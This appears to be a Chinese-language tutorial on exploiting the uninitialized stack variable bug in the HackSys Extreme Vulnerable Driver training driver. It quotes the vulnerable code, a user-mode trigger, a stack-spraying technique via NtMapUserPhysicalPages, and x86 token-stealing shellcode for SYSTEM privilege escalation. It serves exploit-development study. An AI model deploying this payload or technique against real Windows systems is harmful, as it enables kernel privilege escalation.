内核漏洞学习-HEVD-UninitializedStackVariable

NTSTATUSTriggerUninitializedMemoryStack(    _In_ PVOID UserBuffer){    ULONG UserValue = 0;    ULONG MagicValue = 0xBAD0B0B0;    NTSTATUS Status = STATUS_SUCCESS; #ifdef SECURE    //    // Secure Note: This is secure because the developer is properly initializing    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling    // the callback    //     UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };//安全版本：栈变量初始化了#else    //    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure    // before calling the callback when 'MagicValue' does not match 'UserValue'    //     UNINITIALIZED_MEMORY_STACK UninitializedMemory;//不安全版本：栈变量未初始化#endif     PAGED_CODE();     __try    {        //        // Verify if the buffer resides in user mode        //         ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));         //        // Get the value from user mode        //         UserValue = *(PULONG)UserBuffer;         DbgPrint("[+] UserValue: 0x%pn", UserValue);        DbgPrint("[+] UninitializedMemory Address: 0x%pn", &UninitializedMemory);         //        // Validate the magic value        //         if (UserValue == MagicValue) {            UninitializedMemory.Value = UserValue;            UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;        }         DbgPrint("[+] UninitializedMemory.Value: 0x%pn", UninitializedMemory.Value);        DbgPrint("[+] UninitializedMemory.Callback: 0x%pn", UninitializedMemory.Callback); #ifndef SECURE        DbgPrint("[+] Triggering Uninitialized Memory in Stackn");#endif         //        // Call the callback function        //         if (UninitializedMemory.Callback)//在此处判断回调函数是否为0，否则可利用0页内存，        {            UninitializedMemory.Callback();        }    }    __except (EXCEPTION_EXECUTE_HANDLER)    {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%Xn", Status);    }     return Status;}

case HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK:DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******n");Status = UninitializedMemoryStackIoctlHandler(Irp, IrpSp);DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******n");break;

#include<stdio.h>#include<Windows.h>HANDLE hDevice = NULL; #define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)//#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)int main(){     hDevice = CreateFileA("\\.\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL        );    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[-]failed to get device handle !");        return FALSE;     }    printf("[+]success to get device  handle");     if (hDevice) {         DWORD bReturn = 0;        char buf[4] = { 0 };        *(PDWORD32)(buf) = 0xBAD0B0B0;         DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);    }   }

kd> bp HEVD!TriggerUninitializedMemoryStack+0x53kd> g

mov     edi, edipush    ebpmov     ebp, esppush    0FFFFFFFFhpush    offset dword_452498push    offset __except_handler3mov     eax, large fs:0push    eaxmov     large fs:0, esppush    ecxpush    ecxmov     eax, 10E8hcall    __chkstk

NTSTATUS ``NtMapUserPhysicalPages (  ``__in ``PVOID` `VirtualAddress,  ``__in ``ULONG_PTR` `NumberOfPages,  ``__in_ecount_opt(NumberOfPages) ``PULONG_PTR` `UserPfnArray ``)(...) ``ULONG_PTR` `StackArray[COPY_STACK_SIZE]; #define COPY_STACK_SIZE             1024 //用作缓冲区

PoolArea = (PVOID)&StackArray[0]; (...)   if (NumberOfPages > COPY_STACK_SIZE) {    PoolArea = ExAllocatePoolWithTag (NonPagedPool,                                      NumberOfBytes,                                      'wRmM');     if (PoolArea == NULL) {      return STATUS_INSUFFICIENT_RESOURCES;    }  } (...)   Status = MiCaptureUlongPtrArray (PoolArea,                                   UserPfnArray,                                   NumberOfPages);

_KPCR+0x120 PrcbData         : _KPRCB_KPRCB+0x004 CurrentThread    : Ptr32 _KTHREAD，_KTHREAD指针，这个指针指向_KTHREAD结构体_KTHREAD+0x040 ApcState         : _KAPC_STATE_KAPC_STATE+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针，这个指针指向EPROCESS结构体_EPROCESS   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID，系统进程ID=0x04   +0x0b8 ActiveProcessLinks : _LIST_ENTRY，双向链表，指向下一个进程的ActiveProcessLinks结构体处，通过这个链表我们可以遍历所有进程，以寻找我们需要的进程   +0x0f8 Token            : _EX_FAST_REF，描述了该进程的安全上下文，同时包含了进程账户相关的身份以及权限

VOID payload(){    __asm {        pushad                               ; Save registers state         ; Start of Token Stealing Stub        xor eax, eax                         ; Set ZERO        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread                                             ; _KTHREAD is located at FS:[0x124]         mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process         mov ecx, eax                         ; Copy current process _EPROCESS structure         mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4         SearchSystemPID:            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink            sub eax, FLINK_OFFSET            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId            jne SearchSystemPID         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token                                             ; with SYSTEM process nt!_EPROCESS.Token        ; End of Token Stealing Stub         popad                                ; Restore registers state        ret    }}

UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };